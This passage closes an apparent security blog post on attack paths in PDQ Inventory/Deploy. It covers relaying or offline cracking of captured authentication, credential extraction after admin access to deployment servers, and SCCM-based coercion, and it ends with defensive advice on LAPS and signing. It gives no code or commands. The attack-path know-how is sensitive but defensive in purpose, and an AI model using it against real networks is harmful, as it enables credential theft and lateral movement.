- Relay it to machines with SMB Signing disabled.
- Crack it offline.
The first two of these can be mitigated by implementing good security practices elsewhere, outside of the PDQ D&I configuration, and the latter by just using strong passwords (or LAPS)! Therefore, even if you manage to capture an authentication request for a highly privileged user… You may end up not being able to do much with it!
It’s that kind of defense-in-depth approach that is so great to see internally, and something all on-prem/hybrid organizations should strive for. When the attacker has valid keys to the castle, yet the moat, archers, and quicksand stop them from progressing. The keys are the captured authentication requests; the moat, archers, and quicksand are your LAPS implementations, NTLM configurations, and the existence of signing checks everywhere.
In terms of post-exploitation activities, once an attacker gains access to any underlying server as an administrator (for any software offering), they can generally find a way to extract what they need. Similar attacks, such as those that Dirk Jan has published on targeting Microsoft’s AD Connect process, rely on the same level of access to the synchronization server and extracting credentials from a database.
This once again reinforces the concept of these deployment servers being a TIER 0 asset. Protect them at all costs, akin to your other crown jewels (DC, ADCS, etc).
Agentless Deployment – More secure or not?
I mentioned at the start of this post that PDQ Inventory/Deploy is agentless (though a newer offering called PDQ Connect does exist, which does use an agent – I have not tested this for security flaws yet). That is to say, a client that receives inventory requests or deployments does not have a little exe running on it that regularly “checks in” to the PDQ D&I server. That does kind of exist – in instances where the PDQ D&I server is set as a Central Server, which exposes a port, and clients can be set up to “manage” the PDQ D&I instance remotely. However, that is just a separate management client, not a “client” in the sense of “Ok, this device receives inventory scans and deployments”. I haven’t brought that up much in this post as I haven’t fully explored attack vectors related to having PDQ D&I configured as a central server, though it appears without local administrator credentials over the deployment server itself, you cannot do much.
SCCM, on the other hand, does have this server/agent set up. Within this architecture, a “client” (sic. agent installation on a machine), can “force” update requests arbitrarily, and then relay/crack/do whatever with the incoming authentication. With the architecture of PDQ D&I, that is not possible (or at least, I couldn’t figure out a way to force it). The deployment account reaches OUTWARD to the client, and all actions are contained to what is requested/configured WITHIN the PDQ D&I central server itself. If you were here hoping for a way to arbitrarily coerce an authentication via PDQ D&I, I was too, and I’m sorry, but I can’t see a way to do it. I guess we’ll just have to use SCCM for that fun.
I don’t know if this was a conscious design decision by PDQ D&I, but it appears to reduce the attack surface and threat vectors from a security perspective.
A Parting Word
This blog post highlighted various functionality and configurations available to system administrators in the PDQ D&I software suite, and how they could be inherently abusable by a threat actor. The crux of it is that all attack paths rely on some sort of misconfiguration or deviation from best practices, whether that be overly permissive user accounts used for scanning or deployment, weak passwords, or a lack of signing elsewhere in the network. We hope that by outlining some of these potential attack paths, organizations using PDQ D&I (and other deployment services) can factor these into their threat modeling scenario and architectural decisions.
If you want my advice as to your “silver bullet” to solve most of the security issues related to any sort of on-prem deployment system; it’s LAPS. LAPS and treating your deployment system like it’s a DC. This means heavily monitoring authentications, system events and anomalies, and limiting access to a select few administrative users.
If you enjoyed this post and want to get even more technical, how about checking out Josiah’s recent dive into browser exploitation, or if you’re an AD aficionado, maybe Tom’s look at Kerberoasting via ASRepRoastable users!
Thanks for reading, happy hacking 🙂